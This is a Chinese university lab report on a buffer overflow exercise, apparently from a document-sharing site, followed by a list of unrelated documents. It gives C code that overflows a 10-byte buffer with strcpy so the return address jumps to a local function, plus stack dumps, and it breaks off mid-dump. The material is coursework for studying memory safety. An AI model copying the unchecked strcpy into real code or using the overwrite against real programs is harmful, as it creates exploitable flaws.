- 0
- 0
- 约2.51千字
- 约 4页
- 2026-01-28 发布于北京
- 举报
实验报告
实验人:学号日期:2013-1-2
院(系):软件学院专业(班级):软件工程(计应机应用软件方向)10级1班
实验题目:buffer_overflow
1目标
了解什么是bufferoverflow。
选择一个系统平台,实际完成课件chapter5中的例子,并画出stackframe的演变
过程。
2实验平台
Linuxversion2.6.38-15-generic(buildd@komainu)(gccversion4.5.2(Ubuntu/Linaro
4.5.2-8ubuntu4))
3实验过程
1)代码:
对课件中的代码稍作修改(修改了code的值)如下:
#includestdio.h
#includestring.h
charcode[]=
\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\xbe\x05\x40\x00;
voidcopy(constchar*input)
{
charbuf[10];
strcpy(buf,input);
printf(%s\n,buf);
};
voidbug(void)
{
printf(Ishouldn’thaveappeared\n);
}
intmain(intargc,char*argv[]){
copy(code);
return0;
}
2)查看过程:
由下图红色框内容可得,运行copy函数后,所应返回的地址为0x4005e7.
进入copy函数后,查看其栈顶指针rsp值为0x7fffffffe0d0,再查看栈顶20行的数据,
找到返回地址0x4005e7,我们的目标就是利用copy函数中的局部变量buf的溢出,修改此
值,使到返回变地址为bug函数的地址0x4005be。所以再根据buf的起始位置,最后设得
code的值为:
\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\x41\x41\x41\x41\x41
\xbe\x05\x40\x00;
3)stackframe的演变过程:
调用copy后,执行strcpy(buf,input);前:
0x7fffffffe0f80x004005e7下一指令地址
0x7fffffffe0f40x00007fff
0x7fffffffe0f00xffffe110
0x7fffffffe0ec0
0x7fffffffe0e80x004005f0
0x7fffffffe0e40
0x7fffffffe0e00
0x7fffffffe0dc0
0x7fffffffe0d80
0x7fffffffe0d40x00007fff
0x7fffffffe0d00xf7a56c48
esp
执行strcpy(buf,input);后:
0x7fffffffe0f8下一指令地址
0x7fffffffe0f40
您可能关注的文档
- (43页PPT)贵州文旅5A级景区荔波小七孔抖音运营方案.pptx
- (43页PPT)黄小蕾Unit2PartB课件黄小蕾.pptx
- (41页PPT)知识付费托福TOEFL程序整合运营全案.pptx
- (42页PPT)知识付费托福TOEFL合运营全案45.pptx
- 华虹公司-市场前景及投资研究报告:特色工艺翘楚,国芯自主脊梁.pdf
- TCL电子-市场前景及投资研究报告:全球突破,盈利修复.pdf
- 欢聚-市场前景及投资研究报告-三方广告业务,稳健成长,关注盈利,估值提振.pdf
- 泰格医药-市场前景及投资研究报告-临床CRO龙头,扬帆启航.pdf
- 食品饮料行业2026年投资策略分析报告:底部蓄力,确定性投资机会.pdf
- 维宏股份-市场前景及投资研究报告-中国工控领域领先,开拓机器人赛道.pdf
- 伟明环保-市场前景及投资研究报告-境内业务稳健运行,印尼市场贡献边际增量.pdf
- 桂东县法院系统招聘考试真题2025.pdf
- 贵州省黔南布依族2026年中考三模物理试题及答案.pdf
- 贵州省黔南州2026年中考语文二模试卷附答案.pdf
- 贵州省铜仁市2026年中考语文二模试卷附答案.pdf
- 2026上半年安徽事业单位联考合肥市庐江县招聘36人备考题库及一套完整答案详解.docx
- 贵州省毕节市2026年中考语文一模试卷附答案.pdf
- 贵州省贵阳市南明区2026年中考语文一模试卷附答案.pdf
- 2026上半年安徽事业单位联考合肥市庐江县招聘36人备考题库及一套参考答案详解.docx
- 贵州省贵阳市白云区2026年中考二模物理试题附答案.pdf
原创力文档

文档评论(0)